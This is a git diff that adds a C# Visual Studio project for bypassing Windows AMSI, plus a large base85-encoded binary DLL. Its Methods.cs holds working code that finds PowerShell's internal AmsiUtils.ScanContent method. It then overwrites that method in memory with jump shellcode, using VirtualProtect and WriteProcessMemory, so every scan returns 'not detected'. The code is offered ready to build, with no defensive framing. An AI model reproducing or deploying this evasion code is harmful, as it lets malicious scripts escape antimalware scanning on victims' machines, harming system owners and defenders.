b/src/AmsiBypassManagedApiCallHooking.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32210.238 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AmsiBypassManagedApiCallHooking", "AmsiBypassManagedApiCallHooking\AmsiBypassManagedApiCallHooking.csproj", "{1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "UnitTests", "UnitTests\UnitTests.csproj", "{7BCB1490-0192-4359-AE24-90E7A354ADC5}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B}.Release|Any CPU.Build.0 = Release|Any CPU + {7BCB1490-0192-4359-AE24-90E7A354ADC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7BCB1490-0192-4359-AE24-90E7A354ADC5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7BCB1490-0192-4359-AE24-90E7A354ADC5}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7BCB1490-0192-4359-AE24-90E7A354ADC5}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0E139CBF-FF59-4ED9-B066-007F93706B46} + EndGlobalSection +EndGlobal diff --git a/src/AmsiBypassManagedApiCallHooking/AmsiBypassManagedApiCallHooking.csproj b/src/AmsiBypassManagedApiCallHooking/AmsiBypassManagedApiCallHooking.csproj new file mode 100644 index 0000000..03b6da8 --- /dev/null +++ b/src/AmsiBypassManagedApiCallHooking/AmsiBypassManagedApiCallHooking.csproj @@ -0,0 +1,47 @@ + + + + + Debug + AnyCPU + {1BF5FBC1-08FA-4EDB-BC8E-9514AE30B15B} + Library + Properties + AmsiBypassManagedApiCallHooking + AmsiBypassManagedApiCallHooking + v2.0 + 512 + true + + + true + full + false + ..\builds\debug\ + DEBUG;TRACE + prompt + 4 + + + pdbonly + true + ..\builds\release\ + TRACE + prompt + 4 + + + + + + False + ..\Dependencies\System.Management.Automation.dll + + + + + + + + + \ No newline at end of file diff --git a/src/AmsiBypassManagedApiCallHooking/Methods.cs b/src/AmsiBypassManagedApiCallHooking/Methods.cs new file mode 100644 index 0000000..9a62351 --- /dev/null +++ b/src/AmsiBypassManagedApiCallHooking/Methods.cs @@ -0,0 +1,81 @@ +using System; +using System.ComponentModel; +using System.Management.Automation; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace Editor { + public static class Methods { + public static void Patch() { + MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static); + MethodInfo replacement = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static); + Methods.Patch(original, replacement); + } + + [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] + private static int ScanContentStub(string content, string metadata) { + return 1; //AMSI_RESULT_NOTDETECTED + } + + public static void Patch(MethodInfo original, MethodInfo replacement) { + //JIT compile methods + RuntimeHelpers.PrepareMethod(original.MethodHandle); + RuntimeHelpers.PrepareMethod(replacement.MethodHandle); + + //Get pointers to the functions + IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); + IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer(); + + //Generate architecture specific shellcode + byte[] patch = null; + if (IntPtr.Size == 8) { + patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 }; + byte[] address = BitConverter.GetBytes(replacementSite.ToInt64()); + for (int i = 0; i < address.Length; i++) { + patch[i + 2] = address[i]; + } + } else { + patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 }; + byte[] address = BitConverter.GetBytes(replacementSite.ToInt32()); + for (int i = 0; i < address.Length; i++) { + patch[i + 1] = address[i]; + } + } + + //Temporarily change permissions to RWE + uint oldprotect; + if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) { + throw new Win32Exception(); + } + + //Apply the patch + IntPtr written = IntPtr.Zero; + if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) { + throw new Win32Exception(); + } + + //Flush insutruction cache to make sure our new code executes + if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) { + throw new Win32Exception(); + } + + //Restore the original memory protection settings + if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) { + throw new Win32Exception(); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); + } +} diff --git a/src/AmsiBypassManagedApiCallHooking/Properties/AssemblyInfo.cs b/src/AmsiBypassManagedApiCallHooking/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..75430d7 --- /dev/null +++ b/src/AmsiBypassManagedApiCallHooking/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("AmsiBypassManagedApiCallHooking")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("AmsiBypassManagedApiCallHooking")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("1bf5fbc1-08fa-4edb-bc8e-9514ae30b15b")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/src/Dependencies/System.Management.Automation.dll b/src/Dependencies/System.Management.Automation.dll new file mode 100644 index 0000000000000000000000000000000000000000..3db62271479e1733bc0ff5e8057e2c4a05e42f7b GIT binary patch literal 176128 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 